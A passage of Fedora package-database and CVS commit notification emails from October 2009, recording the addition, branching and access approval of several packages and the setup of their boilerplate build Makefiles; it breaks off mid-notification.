To make changes to this package see:
  /pkgdb/packages/name/gettext-commons



From pkgdb at fedoraproject.org  Thu Oct 22 04:07:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:07:42 +0000
Subject: [pkgdb] gettext-commons (Fedora, 10) updated by kevin
Message-ID: <20091022040743.1649610F8EB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gettext-commons
kevin has set commit to Approved for 107427 on gettext-commons (Fedora 12)
kevin has set checkout to Approved for 107427 on gettext-commons (Fedora 12)
kevin has set build to Approved for 107427 on gettext-commons (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gettext-commons



From pkgdb at fedoraproject.org  Thu Oct 22 04:07:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:07:42 +0000
Subject: [pkgdb] gettext-commons (Fedora, 10) updated by kevin
Message-ID: <20091022040743.225F110F8EE@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for gettext-commons
kevin has set commit to Approved for 107427 on gettext-commons (Fedora 10)
kevin has set checkout to Approved for 107427 on gettext-commons (Fedora 10)
kevin has set build to Approved for 107427 on gettext-commons (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/gettext-commons



From kevin at fedoraproject.org  Thu Oct 22 04:08:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:08:03 +0000 (UTC)
Subject: rpms/gettext-commons - New directory
Message-ID: <20091022040803.5A8C811C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gettext-commons
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU28916/rpms/gettext-commons

Log Message:
Directory /cvs/pkgs/rpms/gettext-commons added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:08:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:08:03 +0000 (UTC)
Subject: rpms/gettext-commons/devel - New directory
Message-ID: <20091022040803.C26AB11C0266@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gettext-commons/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU28916/rpms/gettext-commons/devel

Log Message:
Directory /cvs/pkgs/rpms/gettext-commons/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:08:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:08:26 +0000 (UTC)
Subject: rpms/gettext-commons/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022040826.7E88911C0265@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gettext-commons/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU28916/rpms/gettext-commons/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gettext-commons


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gettext-commons
# $Id: Makefile,v 1.1 2009/10/22 04:08:26 kevin Exp $
NAME := gettext-commons
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Thu Oct 22 04:08:25 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:08:25 +0000 (UTC)
Subject: rpms/gettext-commons Makefile,NONE,1.1
Message-ID: <20091022040825.B6E3A11C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gettext-commons
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsU28916/rpms/gettext-commons

Added Files:
	Makefile 
Log Message:
Setup of module gettext-commons


--- NEW FILE Makefile ---
# Top level Makefile for module gettext-commons
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Thu Oct 22 04:09:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:09:40 +0000
Subject: [pkgdb] python-pip was added for hoangelos
Message-ID: <20091022040940.5B1D410F88F@bastion2.fedora.phx.redhat.com>

kevin has added Package python-pip with summary Pip is a replacement for easy_install
kevin has approved Package python-pip
kevin has added a Fedora devel branch for python-pip with an owner of hoangelos
kevin has approved python-pip in Fedora devel
kevin has approved Package python-pip
kevin has set commit to Approved for 107427 on python-pip (Fedora devel)
kevin has set checkout to Approved for 107427 on python-pip (Fedora devel)
kevin has set build to Approved for 107427 on python-pip (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-pip



From pkgdb at fedoraproject.org  Thu Oct 22 04:09:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:09:42 +0000
Subject: [pkgdb] python-pip summary updated by kevin
Message-ID: <20091022040942.459F310F892@bastion2.fedora.phx.redhat.com>

kevin set package python-pip summary to Pip is a replacement for easy_install

To make changes to this package see:
  /pkgdb/packages/name/python-pip



From pkgdb at fedoraproject.org  Thu Oct 22 04:09:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:09:42 +0000
Subject: [pkgdb] python-pip (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022040942.4C43610F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for python-pip
kevin has set commit to Approved for 107427 on python-pip (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on python-pip (Fedora EPEL 4)
kevin has set build to Approved for 107427 on python-pip (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/python-pip



From pkgdb at fedoraproject.org  Thu Oct 22 04:09:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:09:42 +0000
Subject: [pkgdb] python-pip (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022040942.54B2610F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-pip
kevin has set commit to Approved for 107427 on python-pip (Fedora 11)
kevin has set checkout to Approved for 107427 on python-pip (Fedora 11)
kevin has set build to Approved for 107427 on python-pip (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-pip



From pkgdb at fedoraproject.org  Thu Oct 22 04:09:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:09:42 +0000
Subject: [pkgdb] python-pip (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022040942.5E80310F8B9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-pip
kevin has set commit to Approved for 107427 on python-pip (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-pip (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-pip (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-pip



From pkgdb at fedoraproject.org  Thu Oct 22 04:09:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:09:42 +0000
Subject: [pkgdb] python-pip (Fedora EPEL, 4) updated by kevin
Message-ID: <20091022040942.67F2910F8BD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-pip
kevin has set commit to Approved for 107427 on python-pip (Fedora 12)
kevin has set checkout to Approved for 107427 on python-pip (Fedora 12)
kevin has set build to Approved for 107427 on python-pip (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-pip



From kevin at fedoraproject.org  Thu Oct 22 04:10:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:10:04 +0000 (UTC)
Subject: rpms/python-pip - New directory
Message-ID: <20091022041004.9E7D311C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-pip
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsy29840/rpms/python-pip

Log Message:
Directory /cvs/pkgs/rpms/python-pip added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:10:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:10:04 +0000 (UTC)
Subject: rpms/python-pip/devel - New directory
Message-ID: <20091022041004.D3FB711C0419@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-pip/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsy29840/rpms/python-pip/devel

Log Message:
Directory /cvs/pkgs/rpms/python-pip/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:10:22 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:10:22 +0000 (UTC)
Subject: rpms/python-pip Makefile,NONE,1.1
Message-ID: <20091022041022.6A8C011C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-pip
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsy29840/rpms/python-pip

Added Files:
	Makefile 
Log Message:
Setup of module python-pip


--- NEW FILE Makefile ---
# Top level Makefile for module python-pip
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:10:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:10:23 +0000 (UTC)
Subject: rpms/python-pip/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091022041023.1934411C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-pip/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsy29840/rpms/python-pip/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-pip


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-pip
# $Id: Makefile,v 1.1 2009/10/22 04:10:22 kevin Exp $
NAME := python-pip
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:10:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:10:48 +0000
Subject: [pkgdb] perl-MooseX-CascadeClearing was added for mmaslano
Message-ID: <20091022041049.0005D10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package perl-MooseX-CascadeClearing with summary Cascade clearer actions across attributes
kevin has approved Package perl-MooseX-CascadeClearing
kevin has added a Fedora devel branch for perl-MooseX-CascadeClearing with an owner of mmaslano
kevin has approved perl-MooseX-CascadeClearing in Fedora devel
kevin has approved Package perl-MooseX-CascadeClearing
kevin has set commit to Approved for 107427 on perl-MooseX-CascadeClearing (Fedora devel)
kevin has set checkout to Approved for 107427 on perl-MooseX-CascadeClearing (Fedora devel)
kevin has set build to Approved for 107427 on perl-MooseX-CascadeClearing (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-MooseX-CascadeClearing



From pkgdb at fedoraproject.org  Thu Oct 22 04:10:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:10:51 +0000
Subject: [pkgdb] perl-MooseX-CascadeClearing summary updated by kevin
Message-ID: <20091022041051.C4A9410F892@bastion2.fedora.phx.redhat.com>

kevin set package perl-MooseX-CascadeClearing summary to Cascade clearer actions across attributes

To make changes to this package see:
  /pkgdb/packages/name/perl-MooseX-CascadeClearing



From pkgdb at fedoraproject.org  Thu Oct 22 04:10:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:10:51 +0000
Subject: [pkgdb] perl-MooseX-CascadeClearing (Fedora, 12) updated by kevin
Message-ID: <20091022041051.CD0A610F89A@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on perl-MooseX-CascadeClearing (Fedora devel) for perl-sig
kevin approved watchcommits on perl-MooseX-CascadeClearing (Fedora devel) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-MooseX-CascadeClearing



From pkgdb at fedoraproject.org  Thu Oct 22 04:10:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:10:51 +0000
Subject: [pkgdb] perl-MooseX-CascadeClearing (Fedora, 12) updated by kevin
Message-ID: <20091022041051.D582C10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for perl-MooseX-CascadeClearing
kevin has set commit to Approved for 107427 on perl-MooseX-CascadeClearing (Fedora 12)
kevin has set checkout to Approved for 107427 on perl-MooseX-CascadeClearing (Fedora 12)
kevin has set build to Approved for 107427 on perl-MooseX-CascadeClearing (Fedora 12)
kevin approved watchbugzilla on perl-MooseX-CascadeClearing (Fedora 12) for perl-sig
kevin approved watchcommits on perl-MooseX-CascadeClearing (Fedora 12) for perl-sig

To make changes to this package see:
  /pkgdb/packages/name/perl-MooseX-CascadeClearing



From kevin at fedoraproject.org  Thu Oct 22 04:11:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:11:08 +0000 (UTC)
Subject: rpms/perl-MooseX-CascadeClearing - New directory
Message-ID: <20091022041108.6E0F111C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-MooseX-CascadeClearing
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI30310/rpms/perl-MooseX-CascadeClearing

Log Message:
Directory /cvs/pkgs/rpms/perl-MooseX-CascadeClearing added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:11:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:11:08 +0000 (UTC)
Subject: rpms/perl-MooseX-CascadeClearing/devel - New directory
Message-ID: <20091022041108.A4E1211C0419@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-MooseX-CascadeClearing/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI30310/rpms/perl-MooseX-CascadeClearing/devel

Log Message:
Directory /cvs/pkgs/rpms/perl-MooseX-CascadeClearing/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:11:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:11:34 +0000 (UTC)
Subject: rpms/perl-MooseX-CascadeClearing Makefile,NONE,1.1
Message-ID: <20091022041134.BA66111C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-MooseX-CascadeClearing
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI30310/rpms/perl-MooseX-CascadeClearing

Added Files:
	Makefile 
Log Message:
Setup of module perl-MooseX-CascadeClearing


--- NEW FILE Makefile ---
# Top level Makefile for module perl-MooseX-CascadeClearing
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:11:36 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:11:36 +0000 (UTC)
Subject: rpms/perl-MooseX-CascadeClearing/devel .cvsignore, NONE,
	1.1 Makefile, NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091022041136.26F5611C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/perl-MooseX-CascadeClearing/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsI30310/rpms/perl-MooseX-CascadeClearing/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module perl-MooseX-CascadeClearing


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: perl-MooseX-CascadeClearing
# $Id: Makefile,v 1.1 2009/10/22 04:11:35 kevin Exp $
NAME := perl-MooseX-CascadeClearing
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:33:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:33:32 +0000
Subject: [pkgdb] stfl was added for thomasj
Message-ID: <20091022043332.159EF10F892@bastion2.fedora.phx.redhat.com>

kevin has added Package stfl with summary A library which implements a curses-based widget set for text terminals
kevin has approved Package stfl
kevin has added a Fedora devel branch for stfl with an owner of thomasj
kevin has approved stfl in Fedora devel
kevin has approved Package stfl
kevin has set commit to Approved for 107427 on stfl (Fedora devel)
kevin has set checkout to Approved for 107427 on stfl (Fedora devel)
kevin has set build to Approved for 107427 on stfl (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/stfl



From pkgdb at fedoraproject.org  Thu Oct 22 04:33:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:33:33 +0000
Subject: [pkgdb] stfl summary updated by kevin
Message-ID: <20091022043333.BF26910F89A@bastion2.fedora.phx.redhat.com>

kevin set package stfl summary to A library which implements a curses-based widget set for text terminals

To make changes to this package see:
  /pkgdb/packages/name/stfl



From pkgdb at fedoraproject.org  Thu Oct 22 04:33:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:33:33 +0000
Subject: [pkgdb] stfl (Fedora, 10) updated by kevin
Message-ID: <20091022043333.C6E5F10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for stfl
kevin has set commit to Approved for 107427 on stfl (Fedora 11)
kevin has set checkout to Approved for 107427 on stfl (Fedora 11)
kevin has set build to Approved for 107427 on stfl (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/stfl



From pkgdb at fedoraproject.org  Thu Oct 22 04:33:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:33:33 +0000
Subject: [pkgdb] stfl (Fedora, 10) updated by kevin
Message-ID: <20091022043333.C97D910F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for stfl
kevin has set commit to Approved for 107427 on stfl (Fedora 12)
kevin has set checkout to Approved for 107427 on stfl (Fedora 12)
kevin has set build to Approved for 107427 on stfl (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/stfl



From kevin at fedoraproject.org  Thu Oct 22 04:33:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:33:42 +0000 (UTC)
Subject: rpms/stfl - New directory
Message-ID: <20091022043342.16F0711C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stfl
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz28026/rpms/stfl

Log Message:
Directory /cvs/pkgs/rpms/stfl added to the repository




From pkgdb at fedoraproject.org  Thu Oct 22 04:33:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:33:33 +0000
Subject: [pkgdb] stfl (Fedora, 10) updated by kevin
Message-ID: <20091022043333.D729A10F8B2@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for stfl
kevin has set commit to Approved for 107427 on stfl (Fedora 10)
kevin has set checkout to Approved for 107427 on stfl (Fedora 10)
kevin has set build to Approved for 107427 on stfl (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/stfl



From kevin at fedoraproject.org  Thu Oct 22 04:33:42 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:33:42 +0000 (UTC)
Subject: rpms/stfl/devel - New directory
Message-ID: <20091022043342.3253A11C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stfl/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz28026/rpms/stfl/devel

Log Message:
Directory /cvs/pkgs/rpms/stfl/devel added to the repository




From kevin at fedoraproject.org  Thu Oct 22 04:33:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:33:48 +0000 (UTC)
Subject: rpms/stfl Makefile,NONE,1.1
Message-ID: <20091022043348.ECC4311C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stfl
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz28026/rpms/stfl

Added Files:
	Makefile 
Log Message:
Setup of module stfl


--- NEW FILE Makefile ---
# Top level Makefile for module stfl
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct 22 04:33:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu, 22 Oct 2009 04:33:49 +0000 (UTC)
Subject: rpms/stfl/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091022043349.35D9B11C008C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stfl/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsz28026/rpms/stfl/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module stfl


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: stfl
# $Id: Makefile,v 1.1 2009/10/22 04:33:49 kevin Exp $
NAME := stfl
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct 22 04:34:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:34:19 +0000
Subject: [pkgdb] zikula-module-Polls was added for sparks
Message-ID: <20091022043419.DF79C10F891@bastion2.fedora.phx.redhat.com>

kevin has added Package zikula-module-Polls with summary Simple voting system for Zikula
kevin has approved Package zikula-module-Polls
kevin has added a Fedora devel branch for zikula-module-Polls with an owner of sparks
kevin has approved zikula-module-Polls in Fedora devel
kevin has approved Package zikula-module-Polls
kevin has set commit to Approved for 107427 on zikula-module-Polls (Fedora devel)
kevin has set checkout to Approved for 107427 on zikula-module-Polls (Fedora devel)
kevin has set build to Approved for 107427 on zikula-module-Polls (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-Polls



From pkgdb at fedoraproject.org  Thu Oct 22 04:34:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:34:22 +0000
Subject: [pkgdb] zikula-module-Polls summary updated by kevin
Message-ID: <20091022043422.6769A10F895@bastion2.fedora.phx.redhat.com>

kevin set package zikula-module-Polls summary to Simple voting system for Zikula

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-Polls



From pkgdb at fedoraproject.org  Thu Oct 22 04:34:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:34:22 +0000
Subject: [pkgdb] zikula-module-Polls (Fedora EPEL, 5) updated by kevin
Message-ID: <20091022043422.72B3410F8AC@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on zikula-module-Polls (Fedora devel) for ke4qqq
kevin approved watchcommits on zikula-module-Polls (Fedora devel) for ke4qqq
kevin approved commit on zikula-module-Polls (Fedora devel) for ke4qqq
kevin approved build on zikula-module-Polls (Fedora devel) for ke4qqq
kevin approved approveacls on zikula-module-Polls (Fedora devel) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-Polls



From pkgdb at fedoraproject.org  Thu Oct 22 04:34:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:34:22 +0000
Subject: [pkgdb] zikula-module-Polls (Fedora EPEL, 5) updated by kevin
Message-ID: <20091022043422.7BCE610F8B0@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for zikula-module-Polls
kevin has set commit to Approved for 107427 on zikula-module-Polls (Fedora 11)
kevin has set checkout to Approved for 107427 on zikula-module-Polls (Fedora 11)
kevin has set build to Approved for 107427 on zikula-module-Polls (Fedora 11)
kevin approved watchbugzilla on zikula-module-Polls (Fedora 11) for ke4qqq
kevin approved watchcommits on zikula-module-Polls (Fedora 11) for ke4qqq
kevin approved commit on zikula-module-Polls (Fedora 11) for ke4qqq
kevin approved build on zikula-module-Polls (Fedora 11) for ke4qqq
kevin approved approveacls on zikula-module-Polls (Fedora 11) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-Polls



From pkgdb at fedoraproject.org  Thu Oct 22 04:34:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:34:22 +0000
Subject: [pkgdb] zikula-module-Polls (Fedora EPEL, 5) updated by kevin
Message-ID: <20091022043422.89D1810F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for zikula-module-Polls
kevin has set commit to Approved for 107427 on zikula-module-Polls (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on zikula-module-Polls (Fedora EPEL 5)
kevin has set build to Approved for 107427 on zikula-module-Polls (Fedora EPEL 5)
kevin approved watchbugzilla on zikula-module-Polls (Fedora EPEL 5) for ke4qqq
kevin approved watchcommits on zikula-module-Polls (Fedora EPEL 5) for ke4qqq
kevin approved commit on zikula-module-Polls (Fedora EPEL 5) for ke4qqq
kevin approved build on zikula-module-Polls (Fedora EPEL 5) for ke4qqq
kevin approved approveacls on zikula-module-Polls (Fedora EPEL 5) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-Polls



From pkgdb at fedoraproject.org  Thu Oct 22 04:34:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 04:34:22 +0000
Subject: [pkgdb] zikula-module-Polls (Fedora EPEL, 5) updated by kevin
Message-ID: <20091022043422.A144A10F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for zikula-module-Polls
